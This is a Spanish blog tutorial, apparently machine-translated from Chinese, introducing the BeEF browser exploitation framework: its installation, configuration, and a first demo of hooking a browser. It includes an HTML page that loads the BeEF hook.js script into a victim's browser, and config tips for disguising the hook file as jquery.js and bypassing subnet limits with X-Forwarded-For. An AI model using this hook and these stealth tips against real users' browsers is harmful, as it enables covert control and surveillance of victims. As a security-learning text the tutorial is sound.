Introducción al marco de ataque del navegador BeEF

Prefacio

El autor encontró que hay pocos artículos que introduzcan sistemáticamente el marco BeEF en China, por lo que el autor decidió escribir una serie. El contenido involucra la tecnología de atacar el navegador, principalmente presenta el principio de estas tecnologías y cómo operar BeEF para lograrlo, y no involucra la vulnerabilidad del navegador en sí (el umbral es demasiado alto y el autor es impotente) .

Conocimientos previos

Antes de ver esta serie, es mejor que los lectores tengan cierta reserva de conocimientos. El primero es tener una cierta comprensión del protocolo HTTP (CORS, CSP, etc.), y el segundo es comprender los principios y métodos de defensa de los ataques de seguridad web comunes (como XSS, CSRF, SQL inject, etc.) Finalmente, si el lector entiende el lenguaje javascript, es aún más importante Bueno (opcional, el js del autor no es bueno). El autor cree que la dificultad de aprender el marco BeEF es casi la misma que la dificultad de aprender Metasploit y Burp Suite.

La siguiente es una referencia para aprender estos conocimientos:

Documentos relacionados con el protocolo HTTP:   https://developer.mozilla.org/zh-CN/docs/Web/HTTP

Principios de la tecnología de ataque al navegador: ataque de piratas informáticos y tecnología de defensa Colección Navegador Combate real (libro)

Documentos relacionados con el marco de BeEF:    https://github.com/beefproject/beef/wiki

Estrategia del mismo origen

Hablando de navegadores atacantes, debemos decir Política de mismo origen (SOP). La política del mismo origen se utiliza para restringir la interacción entre recursos de diferentes fuentes. Se define en el navegador que para diferentes páginas, si su nombre de host, protocolo y puerto son iguales, son homólogos. Recuerde los tres elementos nombre de host, protocolo y puerto. Aquí hay un ejemplo:

http://www.A.com/index.html   js no puede leer / escribir  http://www.B.com/index.html,  https://www.A.com/index.html,   http: // www.A.com:8080/index.html  contenido.

Marco de BeEF

BeEF (The Browser Exploitation Framework) fue creado por Wade Alcorn en 2006 y aún se mantiene. Es un marco desarrollado por Ruby Language específicamente para ataques al navegador. Este marco también pertenece a la estructura de cs. Puede ver la siguiente figura para obtener más detalles:

12.pngEl zombi (zombi) es el navegador de la víctima. Zombie está enganchado. Si el navegador visita una página con un gancho (escrito por js), se enganchará. El navegador enganchado ejecutará el código inicial para devolver algo de información, y luego zombie periódicamente (el valor predeterminado es 1 segundo) envíe una solicitud al servidor BeEF preguntando si hay un nuevo código para ejecutar. El servidor BeEF es esencialmente como una aplicación web, que se divide en interfaz de usuario de front-end y back-end. El front-end consulta al back-end en busca de nuevos datos que deben actualizarse. Al mismo tiempo, el front-end también puede enviar instrucciones al back-end. Los titulares de BeEF pueden iniciar sesión en la interfaz de usuario de administración del back-end de BeEF a través de un navegador.

Instalación y configuración de BeEF

BeEF requiere ruby ​​2.3 + y SQLite (o mysql / postgres).

Utilice BeEF bajo kali

Kali tiene BeEF instalado por defecto. BeEF es uno de los favoritos del menú (puedes ver su popularidad y estado), y su logo es un toro azul. El comando es beef-xss:

13.png

Cinco segundos después de abrirse, usará el navegador para abrir la interfaz de usuario de la página de administración. La contraseña predeterminada de la cuenta es carne / carne, y la dirección de la interfaz de usuario de la página de administración predeterminada es: http://127.0.0.1:3000/ui /panel

Kali ya ha creado beef-xss como servicio, se recomienda utilizar el comando systemctl para iniciar o apagar el servidor de carne.

systemctl start beef-xss.service    #开启beef

systemctl stop beef-xss.service     #关闭beef

systemctl restart beef-xss.service  #重启beef

Instalar BeEF en ubuntu17.10

Si es solo para probar o aprender, usar carne en kali es suficiente. Si desea usarlo en un entorno real, entonces necesita un host con una IP separada (se puede acceder), el siguiente autor presenta un vps, el sistema es el proceso de instalación en el sistema ubuntu 17.10, si no hay vps , puede omitir esta parte.

En primer lugar, en vps, el usuario inicial generalmente es root. Root no puede instalar algunos paquetes de extensión de algunos ruby ​​(considerando problemas de seguridad), por lo que se requiere un usuario con autoridad reducida.

#创建一个beef的用户
useradd -m -d /home/beef -s /bin/bash beef
#设置beef的密码,最好使用强密码
passwd beef
#把beef用户加入sudo, root 组
usermod -aG root,sudo beef
#转到beef用户
su beef

Lo siguiente es instalar carne

#进入家目录
cd
#获取源文件
wget https://github.com/beefproject/beef/archive/master.zip
sudo apt update && sudo apt upgrade -y && sudo apt install unzip ruby ruby-dev -y
#解压master.zip
unzip master.zip
cd beef-master
#安装beef
./install

Durante el proceso de instalación, el autor encontró un error de que los dos directorios /var/lib/gems/2.3.0 y / usr / local / bin no tenían permisos de escritura. Aquí está la solución:

sudo chmod g+w /var/lib/gems/2.3.0
sudo chmod g+w /usr/local/bin
#再次运行
./install

Dependiendo del entorno, los lectores pueden encontrar otros errores. Si encuentra un error, primero puede mirar el mensaje de error y ver si puede resolverlo usted mismo. Si no funciona, busque ayuda en línea. En Internet, si desea encontrar una respuesta a una pregunta, a menudo es más rápido buscar con información de error.

Retire la carne del sudo, grupo raíz:

#运行
sudo chmod g-w /var/lib/gems/2.3.0 && sudo chmod g-w /usr/local/bin
sudo gpasswd -d beef root && gpasswd -d beef sudo 

Finalmente, ejecute beef. Se recomienda no usar root para ejecutar el servidor de carne. Ahora que se ha creado un usuario con id de carne, sería mejor ejecutar el servidor de carne como este usuario en el futuro.

#进入beef所在目录
cd /home/beef/beef-master
#以后台模式运行beef服务器,且即使ssh断开了,也不影响beef 服务器。
nohup ./beef &

Configurar BeEF

El archivo de configuración de BeEF en kali está en /usr/share/beef-xss/config.yaml, y otros archivos de configuración también están en subdirectorios de este directorio. En el futuro, cuando use ciertas funciones, deberá modificar los archivos de configuración correspondientes . El archivo de configuración de BeEF autoinstalado estará en config.yaml en el directorio principal de BeEF. Se recomienda modificar varios lugares:

### 指定某个网段,只有在这个网段的浏览器才能被hook
permitted_hooking_subnet: "0.0.0.0/0"

### 指定某个网段,只有在这个网段的浏览器才能访问管理UI
permitted_ui_subnet: "0.0.0.0/0"

### 上面这两项都是可以被绕过的,只要使用X-Forwarded-For首部绕过,一般不需要设置

###  设置beef服务器的主机, 如果有自己的域名, 那么可以设置自己的域名, 没有就使用默认
host: "0.0.0.0"

###  设置beef服务器监听的端口, 可以自己定一个,比如8080, 记得端口号需要大于1024
port: "3000"

### 受害浏览器轮询beef主机的时间, 默认为1秒,可以设置为更低。 
xhr_poll_timeout: 1000

#public: ""      # public hostname/IP address
#public_port: "" # experimental
### 这是让BeEF运行在一个反向代理或者NAT环境下才需要设置的。

### 管理页面的URI, 默认是/ui, 建议修改,这样就不会让别人找到你的管理页面
web_ui_basepath: "/ui"

### hook_file 的名称, 建议修改, 可以修改为jquery.js之类的来提升隐蔽性
hook_file: "/hook.js"

### 管理页面登录的用户名和密码, 这个一定要改,两个都改是最好的
credentials:
     user:   "beef"
     passwd: "beef"

Picadora de pequeña escala

A continuación, utilice BeEF para experimentarlo. Primero inicie el servidor BeEF, luego use el navegador para acceder a la página de administración http://127.0.0.1:3000/ui/panel e inicie sesión con el usuario / contraseña establecidos.

Luego, visite la página con el gancho http://127.0.0.1:3000/demos/basic.html  El nombre de host y el número de puerto aquí deben modificarse de acuerdo con su configuración. Aquí, tenga en cuenta que el gancho de la versión de carne en kali no es compatible con IE8, la última versión o la versión anterior está bien. Por lo tanto, use otros navegadores para visitar páginas con ganchos.

Aquí hay una página con un gancho, cree un archivo test.html y escriba el siguiente contenido en él:

<html>
<head>
<script src='http://127.0.0.1:3000/hook.js'></script> <!-- 这里的主机和端口号,需要和配置文件的一致。 -->
</head>
<body>
Hello World
</body>
</html>

Luego use un navegador para abrir, luego este navegador se conectará.

Ver la interfaz de usuario de la página de administración será similar a la siguiente figura:

8.png

9.pngElija un módulo simple para probar. La siguiente figura muestra el módulo Host -> Detectar máquina virtual para verificar si el navegador de la víctima se está ejecutando en la máquina virtual:

14.pngComenzar con BeEF es así de simple, todas las funciones se han escrito, solo necesitamos seleccionar el módulo, configurar los parámetros (a veces no es necesario) y hacer clic en Ejecutar. Por supuesto, debe conocer la función de estos módulos.

Los lectores pueden encontrar que hay un pequeño círculo de color (verde, gris, naranja, rojo) en el frente de cada módulo.

5.png

Internamente, BeEF puede detectar qué módulos de comando pueden funcionar en el navegador de la víctima actual y usar colores para indicar:

Verde: el módulo de comando puede ejecutarse en el navegador de destino y el usuario no sentirá ninguna anomalía

Naranja: el módulo de comando puede ejecutarse en el navegador de destino, pero el usuario puede sentirse anormal (por ejemplo, puede haber ventanas emergentes, avisos, saltos, etc.)

Gris: el módulo de comando no se ha verificado con este objetivo, es decir, no se sabe si se puede ejecutar

Rojo: el módulo de comando no es adecuado para este objetivo

Conclusión

En este punto, la primera parte de la introducción a BeEF ha terminado. Los lectores pueden probar el módulo de comando verde por sí mismos y familiarizarse con él. Espero que los lectores tengan una comprensión clara de BeEF después de leer este artículo. Si no es así, no se preocupe, todavía hay varios artículos en esta serie. Poco a poco, los lectores comprenderán BeEF y se sorprenderán de sus capacidades. Finalmente, puede corregir errores en los comentarios o puede dejar un mensaje si tiene alguna pregunta.

Supongo que te gusta

Origin blog.csdn.net/THMAIL/article/details/107739266
Recomendado
Clasificación